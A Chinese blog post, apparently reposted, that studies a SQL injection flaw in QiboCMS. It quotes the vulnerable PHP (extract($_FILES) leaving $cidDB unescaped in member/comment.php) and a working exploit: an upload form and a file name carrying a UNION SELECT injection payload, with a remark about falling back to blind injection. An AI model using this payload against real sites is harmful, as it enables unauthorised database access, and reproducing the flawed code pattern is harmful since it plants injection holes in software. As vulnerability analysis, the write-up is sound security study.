齐博CMS的sql注入漏洞学习

       今天看到了asrc上面对某个cms的漏洞分析的文章(http://security.alibaba.com/blog/blog.htm?spm=0.0.0.0.96tpib&id=13 ),感觉阿里大牛在写漏洞分析的时候还是有点谨慎,利用方式什么就更不能说了。

       百度搜了一下这个CMS,使用量还是不小的。对php不太懂,简单学习了一下,并且总结了利用方式。

       漏洞的原因就是 inc/common.inc.php 中的这一段代码:

if(!ini_get('register_globals')){
	@extract($_FILES,EXTR_SKIP);
}

       这段代码的含义就是把 php接收到的$_Files 请求的数组转换成一些变量。而我们知道,这些变量是不会经过魔术引号的转义的。

       再看 member/comment.php 这个文件,如下代码:

if($job=='del'){
      foreach( $cidDB AS $key=>$value){
		$rs=$db->get_one("SELECT aid FROM {$pre}comment WHERE cid='$value'");
		$erp=get_id_table($rs[aid]);
		$rsdb=$db->get_one("SELECT C.cid,C.uid AS commentuid,C.aid,A.uid,A.fid FROM {$pre}comment C LEFT JOIN {$pre}article$erp A ON C.aid=A.aid WHERE C.cid='$value'");
		if($rsdb[uid]==$lfjuid||$rsdb[commentuid]==$lfjuid||$web_admin||in_array($rsdb[fid],$fiddb)){
			$db->query("DELETE FROM {$pre}comment WHERE cid='$rsdb[cid]'");
		}
		$db->query("UPDATE {$pre}article$erp SET comments=comments-1 WHERE aid='$rsdb[aid]'");
	}
	refreshto("$FROMURL","删除成功",0);
}

       其中 $cidDB 这个变量本应该是从URL里面通过get方式获取的留言的id ,然后拼到sql语句里面执行sql的。

但是因为 comment.php引用了common.inc.php,并且$cidDB并没有初始化,所以这边我们可以用 $_Files里面的变量去直接给 $cidDB 赋值,并且没有转义。酷

         poc:

         其实算不上poc,就是一个简单的利用方式。

         写一个简单的html页面:

         action里面写网站相关地址

<form method="post" action="http://127.0.0.1/v7/member/comment.php?job=del" enctype="multipart/form-data">
<input type="file" name="cidDB" id="cidDB">
<input type="submit" name="submit">
</form>

         然后我们重命名一个文件,名为:1' union select version() and '1'='1

         然后提交上传,就可以看到返回结果了:



 

         

 

      这边有个比较麻烦的问题是: 由于value值保存在了两个sql语句里面,这两个语句的列不一样,所以这边用union会报错,只能盲注了。或者寻找一下其他地方的未初始化的变量也可。

   

     

         

 

猜你喜欢

转载自dingody.iteye.com/blog/2195864